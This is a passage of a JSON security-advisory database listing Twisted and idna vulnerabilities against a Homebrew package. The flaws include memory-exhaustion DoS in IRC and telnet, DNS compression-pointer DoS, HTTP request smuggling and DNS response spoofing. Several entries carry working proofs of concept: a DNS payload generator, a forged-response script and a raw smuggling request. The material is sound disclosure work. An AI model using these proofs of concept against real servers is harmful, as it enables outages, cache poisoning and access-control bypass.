data).split(LF)\n        self.buffer = lines.pop()    # no 3line feed -> whole input stays buffered\n        ...\n```\n\nWith no line feed in the data, `lines.pop()` returns the entire accumulated content to `self.buffer`, so it grows by every chunk and is never bounded; `IRC` defines no `MAX_LENGTH`, no `lineLengthExceeded`, and no timeout, so the connection is never closed. The `twistd words` server protocol `IRCUser` subclasses `IRC` without overriding `dataReceived`, and the buffer is filled before any `PASS`, `NICK`, or `USER`, so no credentials are required.\n\nAffected product: Twisted (`twisted.words`), `twisted.words.protocols.irc.IRC` and its subclass `twisted.words.service.IRCUser`\nAffected versions: 26.4.0 and earlier\n\n## PoC\n\nOn a standard Twisted words IRC server (the server `twistd words` runs, using `IRCUser`), an unauthenticated client opens a single TCP connection and continuously sends data that contains no line feed, never completing a line. Every chunk is appended to the connection's line buffer, and because no complete line is ever formed none of it is consumed, so the buffer grows by the full volume sent.\n\nIn a measured run against a real `IRCFactory` server, one unauthenticated connection sending 60 MB of line-feed-free data raised the server process resident memory from about 47 MB to 2966 MB (roughly 49 MB per MB sent) with the connection still open and no limit triggered. Sending the same volume as normal line-feed-terminated commands leaves memory flat, which isolates the cause to the missing line-length bound.\n\n## Impact\n\nAn unauthenticated remote denial of service from allocation without limits (CWE-770) leading to uncontrolled resource consumption (CWE-400). A single credential-free connection exhausts the memory of the whole `twistd words` process, and because one process serves every user, the crash drops all connections at once and the service stays down until it is restarted. The quadratic buffer copy reaches the same effect faster. There is no confidentiality or integrity impact and no code execution.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-53xc-49m8-p798"},{"type":"WEB","url":"https://github.com/twisted/twisted/pull/12771"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/01f8cff7753c1edac132380b2ea939fa6bdbab30"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/ac90fb7b0ab73688a581fcd9a7c0577ec8ca3059"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/releases/tag/twisted-26.10.0rc1"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2026-115778","published":"2026-10-27T09:18:34Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-cwm5-jh59-mwxr","CVE-2026-115778"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.12_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"26.10.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Twisted: Unauthenticated Remote Denial of Service in the Twisted conch Telnet Transport via an Unbounded Subnegotiation Buffer","details":"## Summary\n\nAn allocation-without-limits vulnerability (CWE-770) in the Twisted conch telnet transport lets any unauthenticated remote peer exhaust server memory over a single connection. When the peer opens a telnet subnegotiation with `IAC SB` and then streams bytes without ever sending the `IAC SE` terminator, every byte is appended to a per-connection buffer that has no maximum length. The buffer persists across reads and is released only on the terminator the attacker withholds, so it grows without bound until the process is killed.\n\n## Details\n\nThe option-negotiation state machine in `Telnet.dataReceived` enters the `subnegotiation` state on `IAC SB` and sets an empty command list. In that state every non-`IAC` byte is appended to the list with no length check:\n\n```python\n# src/twisted/conch/telnet.py  (Telnet.dataReceived)\nelif self.state == \"subnegotiation\":\n    if b == IAC:\n        self.state = \"subnegotiation-escaped\"\n    else:\n        self.commands.append(b)      # unbounded: no len(self.commands) check\n```\n\n`self.commands` is an instance attribute that persists across `dataReceived` calls and is deleted only when `IAC SE` completes the subnegotiation. Negotiation runs at the transport layer before authentication, and the bytes are consumed inside `dataReceived` before any application callback, so an application cannot impose a bound. Twisted caps other parser buffers, for example `NetstringReceiver.MAX_LENGTH`, but not this one.\n\nAffected product: Twisted, `twisted.conch.telnet` transport\nAffected versions: confirmed against 26.4.0\n\n## PoC\n\nOn any endpoint that exposes the Twisted telnet transport, such as the Twisted manhole telnet service, open one connection and send the two bytes `IAC SB` (`0xFF 0xFA`), then stream any non-`0xFF` bytes continuously and never send the `IAC SE` terminator (`0xFF 0xF0`). No credentials are required, because option negotiation runs before authentication.\n\nEvery byte is appended to the per-connection subnegotiation buffer with no maximum, and the buffer is released only by the terminator the attacker withholds, so it grows for the life of the connection. Because each byte is retained as a separate element the memory consumed is several times the traffic sent, so a modest-bandwidth peer, or several such connections, drives the process to memory exhaustion.\n\n## Impact\n\nThis is an unauthenticated remote denial of service (CWE-770, CWE-400) by memory exhaustion. A single connection grows an in-memory buffer without bound at a cost proportional to the bytes sent, amplified by per-byte object overhead, until the operating system kills the server and every service it hosts. There is no confidentiality or integrity impact and no code execution. The affected surface is any deployment that exposes a Twisted telnet or manhole transport to untrusted peers.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-cwm5-jh59-mwxr"},{"type":"WEB","url":"https://github.com/twisted/twisted/pull/12750"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/073ba878c6c07d569cb61abc5ae76d46eff1b529"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/5d91cc66a3591faba758a80a1479e0103602facc"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/releases/tag/twisted-26.10.0rc1"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2026-115877","published":"2026-10-27T09:18:34Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-q7qq-6mhp-9rc4","CVE-2026-115877"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.12_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"26.10.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Twisted: HTTP Request Smuggling in twisted.web via a Bare CR or LF in a Header Value","details":"## Summary\n\nAn incomplete header-value validation (CWE-444) in the Twisted HTTP server lets a bare carriage return or line feed in a header value hide a following header from the parser. `twisted.web.http.HTTPChannel.headerReceived` rejects a NUL byte in a header value but not a bare CR or LF, even though RFC 9110 section 5.5 requires a recipient to reject all three. Because the channel splits requests only on CRLF, a value carrying a bare LF and a second header arrives as one line, so the second header is folded into the value and the request is framed with no body. A front-end that treats the bare LF as a line terminator frames the request differently, and the disagreement lets an attacker smuggle a request past it. This is an incomplete fix of the earlier Twisted request-smuggling advisories, which guarded the NUL sibling of this exact check.\n\n## Details\n\n`headerReceived` splits a header line on the first colon, strips space and tab from the value, and validates it with a single test that rejects only NUL:\n\n```python\n# twisted/web/http.py  HTTPChannel.headerReceived\ndata = data.strip(b\" \\t\")\nif b\"\\x00\" in data:          # NUL rejected; a bare CR or LF is not\n    self._respondToBadRequestAndDisconnect()\n    return False\n```\n\nThe channel delimiter is CRLF, so `Foo: x\\nContent-Length: 39` is one line: the split yields name `Foo` and value `x\\nContent-Length: 39`, `strip` leaves the LF, and the NUL check passes. `_maybeChooseTransferDecoder` is then called with `Foo`, never sees a `Content-Length`, and installs no body decoder, so the request is framed with an empty body. The header name and request line already reject CR and LF, so the value is the only gap.\n\nAffected product: Twisted, `twisted.web.http.HTTPChannel`\nAffected versions: 26.4.0 and earlier\n\n## PoC\n\nFeed one connection a request whose header value carries a bare LF and a `Content-Length`, followed by a second request in the bytes after it: `POST /public HTTP/1.1\\r\\nHost: v\\r\\nFoo: x\\nContent-Length: 44\\r\\n\\r\\nGET /admin HTTP/1.1\\r\\nHost: internal\\r\\n\\r\\n`. Twisted parses two requests and serves both, so the smuggled `GET /admin` returns the /admin response body even though the visible request was only `POST /public`. The bare CR variant behaves identically, and a NUL in the value is rejected, which isolates the missing CR and LF checks.\n\nBehind a front-end that treats the bare LF as a line terminator, the front-end frames one `POST /public` and forwards a body while Twisted frames a second `GET /admin`; the extra response then poisons the shared connection, so a later victim receives the attacker's `GET /admin` response.\n\n## Impact\n\nThis is an HTTP request-smuggling exposure (CWE-444) from inconsistent interpretation of a request (CWE-436). Through a front-end that accepts a bare CR or LF as a line terminator, an attacker can smuggle a request the front-end never sees, bypassing front-end access controls, poisoning a shared connection so a later victim receives the attacker's response, and poisoning a cache. Twisted is the strict endpoint that frames the request without a body, so it is realized only behind such a proxy, and there is no code execution.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-q7qq-6mhp-9rc4"},{"type":"WEB","url":"https://github.com/twisted/twisted/pull/12755"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/022b6f7feb5980166c71f54e2c0d8f4f21ff6e1a"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/1616f702d36eda8990a5a5b22ad70fab140a7eb1"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/releases/tag/twisted-26.10.0rc1"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2026-42304","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-grgv-6hw6-v9g4","CVE-2026-42304","PYSEC-2026-160"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.12_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"26.4.0rc2","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains","details":"### Details\n\nThe twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.\n\n---\n\n### Technical Details\n\nThe main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.\n\nBecause DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.\n\n```python\n##  src/twisted/names/dns.py (Lines 595-631)\n\ndef decode(self, strio, length=None):\n        visited = set()\n        self.name = b\"\"\n        off = 0\n        while 1:\n            l = ord(readPrecisely(strio, 1))\n            if l == 0:\n                if off > 0:\n                    strio.seek(off)\n                return\n            if (l >> 6) == 3:\n                new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))\n                if new_off in visited:\n                    raise ValueError(\"Compression loop in encoded name\")\n                visited.add(new_off)\n                if off == 0:\n                    off = strio.tell()\n                strio.seek(new_off)\n                continue\n            label = readPrecisely(strio, l)\n            if self.name == b\"\":\n                self.name = label\n            else:\n                self.name = self.name + b\".\" + label\n\n```\n\n---\n\n### PoC\n\n```python\nimport struct, time\nfrom twisted.names import dns, server\nfrom twisted.test import proto_helpers\n\ndef create_tcp_payload():\n    num_pointers = 8000\n    packet_length = 65533\n    num_questions = (packet_length - (num_pointers * 2) - 12) // 6\n\n    buffer = bytearray(packet_length)\n\n    struct.pack_into(\"!HHHHHH\", buffer, 0, 1, 0, num_questions, 0, 0, 0)\n\n    ptr_offset = 12\n    for _ in range(num_pointers - 1):\n        struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))\n        ptr_offset += 2\n\n    null_byte_offset = ptr_offset + 2\n    struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | null_byte_offset)\n    buffer[null_byte_offset] = 0\n\n    question_offset = null_byte_offset + 1\n    for _ in range(num_questions):\n        if question_offset + 6 <= packet_length:\n            struct.pack_into(\"!HHH\", buffer, question_offset, 0xC000 | 12, 1, 1)\n            question_offset += 6\n\n    return packet_length, num_pointers, num_questions, struct.pack(\"!H\", packet_length) + buffer\n\ndef test_dns_server():\n    factory = server.DNSServerFactory(clients=[])\n    protocol = factory.buildProtocol((\"127.0.0.1\", 10053))\n    transport = proto_helpers.StringTransport()\n    protocol.makeConnection(transport)\n\n    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()\n    print(\"payload\")\n    print(f\"len={pkt_len} ptrs={num_ptrs} qs={num_qs}\")\n\n    start = time.time()\n    protocol.dataReceived(payload)\n    end = time.time()\n\n    print(f\"time={end - start:.4f}s\")\n\nif __name__ == \"__main__\":\n    test_dns_server()\n```\n\n---\n\n### Impact\n\nA single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.\n\n---\n\n### Remediation\n\n- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message\n- Share the \"resolved offset\" state across all records in a single message to prevent redundant processing.\n- Validate the number of questions before entering the decoding loop in Message.decode.\n\n---\n\n### Resources\n\nhttps://cwe.mitre.org/data/definitions/400.html\n\nhttps://cwe.mitre.org/data/definitions/407.html\n\nhttps://datatracker.ietf.org/doc/html/rfc9267\n\nhttps://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595\n\nhttps://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09\n\n---\n\n**Author**: Tomas Illuminati","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42304"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2026-160.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2026-45409","published":"2026-08-13T16:35:13Z","modified":"2026-10-16T09:10:14Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.1"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.20"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.20","key":"pkg:pypi/idna@3.20","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2026-83813","published":"2026-10-29T22:53:22Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-jj36-9pvh-vj5r","CVE-2026-83813"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.12_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"26.10.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Twisted: DNS Response Spoofing in twisted.names Due to Missing Source Address Validation","details":"### Summary\n\n`twisted.names.dns.DNSDatagramProtocol`, the UDP transport used by twisted's DNS client (`twisted.names.client.Resolver`, `createResolver`, and anything built on it, including MX lookups in `twisted.mail`), accepts a DNS response for a pending query solely on the basis of the 16-bit transaction ID matching. It never checks that the response actually originated from the server the query was sent to. Any host that can deliver a UDP packet to the resolver's listening port with the correct transaction ID can inject a forged answer, independent of the real server's address. This is a materially weaker defense than standard DNS resolver practice (transaction ID plus source-address validation, typically also source-port rotation), and enables off-path DNS response spoofing / cache poisoning.\n\n### Details\n\n`DNSDatagramProtocol.datagramReceived` (`src/twisted/names/dns.py`, line 3350) is:\n\n```python\ndef datagramReceived(self, data, addr):\n    \"\"\"\n    Read a datagram, extract the message in it and trigger the associated\n    Deferred.\n    \"\"\"\n    m = Message()\n    try:\n        m.fromStr(data)\n    except EOFError:\n        ...\n    except ValueError as ex:\n        ...\n    except BaseException:\n        ...\n\n    if m.id in self.liveMessages:\n        d, canceller = self.liveMessages[m.id]\n        del self.liveMessages[m.id]\n        canceller.cancel()\n        try:\n            d.callback(m)\n        except BaseException:\n            log.err()\n    else:\n        if m.id not in self.resends:\n            self.controller.messageReceived(m, self, addr)\n```\n\nThe `addr` parameter, the UDP source address of the datagram, is accepted but never compared against the address the corresponding query was sent to. The only check is `m.id in self.liveMessages`, and `liveMessages` is keyed purely by the transaction ID chosen in `DNSMixin.pickID()`. The listening socket is a plain `listenUDP(0, self, maxPacketSize=512)` (line 3348), not connected to the queried server, so the kernel does not filter by source address either; any host can deliver a UDP datagram to this socket.\n\nThe transaction ID itself is generated with `secureRandom` (`randomSource()`, line 174), so it is not predictable, but at 16 bits it is a 1-in-65536 space per attempt. `twisted.names.client.Resolver`, the standard, documented DNS client, mitigates brute-force guessing of that space by creating a brand-new `DNSDatagramProtocol` bound to a fresh, independently random source port (`_connectedProtocol()`, `src/twisted/names/client.py` line 206, using `dns.randomSource()`) for every individual query, and tearing the socket down once the query completes (`_query()`, line 253). This gives an off-path attacker roughly 32 bits of combined entropy (port and transaction ID) to guess per query issued through the standard client, not just the 16 bits of the transaction ID alone.\n\nThe missing source-address check is still a real gap for two reasons. First, it removes a defense-in-depth backstop that DNS resolver best practice (RFC 5452) treats as independent from port and ID randomization; an attacker who is on-path, shares a broadcast domain or NAT with the resolver or the real DNS server, or is otherwise able to observe or narrow the ephemeral port faces no additional barrier at all, since source-address validation is exactly the check that would stop them. Second, `DNSDatagramProtocol` is itself a public, documented class; code that constructs one directly and issues more than one query against the same instance, rather than going through `client.Resolver`'s per-query protocol and port cycling, reuses the same source port for every query after the first, so guessing the 16-bit transaction ID alone is sufficient from that point on.\n\n`twisted.names.client.Resolver` uses this same `DNSDatagramProtocol` class for every UDP query it issues, so every consumer of the standard twisted DNS client, including `twisted.mail`'s MX resolution, is subject to the same unauthenticated accept logic in `datagramReceived`, moderated by the per-query port rotation described above.\n\n### PoC\n\n```python\nimport socket\nfrom twisted.internet import reactor\nfrom twisted.names import dns\n\nclass CapturingController:\n    def messageReceived(self, message, protocol, address):\n        pass\n\ndef main():\n    resolverProto = dns.DNSDatagramProtocol(CapturingController())\n    resolverProto.startListening()\n\n    real_server = (\"203.0.113.1\", 53)  # RFC 5737 TEST-NET-1, never answers\n    query = dns.Query(b\"victim.example.com\", dns.A, dns.IN)\n    d = resolverProto.query(real_server, [query], timeout=5)\n\n    stolen_id = next(iter(resolverProto.liveMessages))\n    resolver_port = resolverProto.transport.getHost().port\n\n    forged = dns.Message(stolen_id, answer=1)\n    forged.queries = [query]\n    forged.answers = [\n        dns.RRHeader(name=b\"victim.example.com\", type=dns.A, cls=dns.IN, ttl=60,\n                     payload=dns.Record_A(address=\"6.6.6.6\"))\n    ]\n\n    attacker_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    attacker_sock.bind((\"127.0.0.1\", 0))  # unrelated to real_server\n    attacker_sock.sendto(forged.toStr(), (\"127.0.0.1\", resolver_port))\n\n    def onResult(message):\n        print(\"Resolver ACCEPTED forged response as the answer to its query to\", real_server)\n        print(\"Spoofed A record:\", message.answers[0].payload.dottedQuad())\n        reactor.stop()\n\n    d.addCallback(onResult)\n\nreactor.callWhenRunning(main)\nreactor.run()\n```\n\nOutput:\n\n```\nResolver listening on 127.0.0.1:54997, queried ('203.0.113.1', 53), id=6995\nForged response sent from ('127.0.0.1', 53644) (NOT ('203.0.113.1', 53))\nResolver ACCEPTED forged response as the answer to its query to ('203.0.113.1', 53)\nSpoofed A record: 6.6.6.6\n```\n\nThe query was sent to `203.0.113.1:53`, an address reserved by RFC 5737 for documentation and testing that will never respond. The forged response was sent from an unrelated local UDP socket bound to a different, unrelated port. The resolver accepted it as the legitimate answer purely because the transaction ID matched, proving the response's source address plays no role in validation.\n### Impact\n\nAny application resolving hostnames through `twisted.names` can have DNS answers forged by a network party able to deliver a UDP packet to the resolver's listening port with the correct transaction ID, and, for the standard `client.Resolver` path, the correct ephemeral source port too. An on-path attacker, or one sharing a broadcast domain or NAT with the resolver or the real DNS server, faces no meaningful barrier at all, since source-address validation is exactly the check that would stop them and it is absent. An off-path attacker targeting the standard `client.Resolver` API must win a roughly 32-bit combined guess (port and transaction ID) within the query timeout window; the same attacker targeting code that uses the public `DNSDatagramProtocol` class directly across multiple queries on one instance, a supported usage pattern, faces only the 16-bit transaction ID space per query after the first. A successful forgery lets an attacker redirect hostname resolution to an address of their choosing, enabling mail interception (spoofed MX/A records), SSRF, or man-in-the-middle positioning against anything that trusts the resolved address.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-jj36-9pvh-vj5r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83813"},{"type":"WEB","url":"https://github.com/twisted/twisted/pull/12700"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/b53e1c3477c209b5609a1c74cf9e48373b5879ac"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/releases/tag/twisted-26.10.0rc1"}]},{"schema_version":"1.7.3","id":"BREW-alot-GHSA-32gv-6cf3-wcmq","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-32gv-6cf3-wcmq"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.9"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"19.10.0","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"HTTP/2 DoS Attacks: Ping, Reset, and Settings Floods","details":"### Impact\nTwisted web servers that utilize the optional HTTP/2 support suffer from the following flow-control related vulnerabilities:\n\nPing flood: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9512\nReset flood: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9514\nSettings flood: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9515\n\nA Twisted web server supports HTTP/2 requests if you've installed the [`http2` optional dependency set](https://twistedmatrix.com/documents/19.2.0/installation/howto/optional.html).\n\n### Workarounds\nThere are no workarounds.\n\n### References\nhttps://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-002.md\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Twisted's Trac](https://twistedmatrix.com/trac/)\n","references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-32gv-6cf3-wcmq"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/a40ab1ce5210f231abe7a448a54d7e88e48f2d5d"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"}]},{"schema_version":"1.7.3","id":"BREW-alot-GHSA-8r99-h8j2-rw64","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-8r99-h8j2-rw64"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.9_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"20.3.0","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Twisted vulnerable to HTTP Request Smuggling Attacks","details":"### Impact\nTwisted Web is vulnerable to request smuggling attacks:\n\n1. \"When presented with two content-length headers, Twisted Web ignored the first header. When the second content-length was set to zero this caused Twisted Web to interpret the request body as a pipelined request. According to RFC 7230 Section 3.3.3#4, if a message is received with multiple content-length headers with differing value, then the server must reject the message with a 400 response.\" (Jake Miller of Bishop Fox Security)\n2. \" When presented with a content-length and a chunked encoding header, the content-length took precedence and the remainder of the request body was interpreted by Twisted Web as a pipelined request. According to RFC 7230 Section 3.3.3#3, if a message with both content-length and chunked encoding is accepted, transfer-encoding overrides the content-length.\" (Jake Miller of Bishop Fox Security)\n3. ~\"Twisted should not allow BWS between the filed-name and colon.\" (ZeddYu Lu)~ _closed in 9646_\n4. \"Two CL header with different values is also not allowed.\" (ZeddYu Lu)\n5. \"Only accept identity and chunked Transport-Encoding.\" (ZeddYu Lu)\n\n### Patches\nhttps://github.com/twisted/twisted/commit/20c787a14a09e7cbd5dfd8df08ceff00d1fcc081\nhttps://github.com/twisted/twisted/commit/4a7d22e490bb8ff836892cc99a1f54b85ccb0281\n\n### Workarounds\nN/A\n\n### References\nhttps://portswigger.net/web-security/request-smuggling\n","references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-8r99-h8j2-rw64"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/20c787a14a09e7cbd5dfd8df08ceff00d1fcc081"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/4a7d22e490bb8ff836892cc99a1f54b85ccb0281"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"}]}],"amtterm":[{"schema_version":"1.7.3","id":"BREW-amtterm-CVE-2015-8978","published":"2026-08-13T09:10:22Z","modified":"2026-10-07T23:59:41Z","upstream":["CVE-2015-8978"],"affected":[{"package":{"ecosystem":"Homebrew","name":"amtterm","purl":"pkg:brew/amtterm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3"},{"fixed":"1.7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.15","resource":"SOAP::Lite","resource_purl":"pkg:cpan/PHRED/SOAP-Lite@1.27"}}],"database_specific":{"source":"matched","strategy":"cpansa","confidence":"medium","upstream_evidence":[{"strategy":"cpansa","ecosystem":"CPAN","name":"SOAP-Lite","subject_version":"1.27","key":"pkg:cpan/PHRED/SOAP-Lite@1.27","resource":"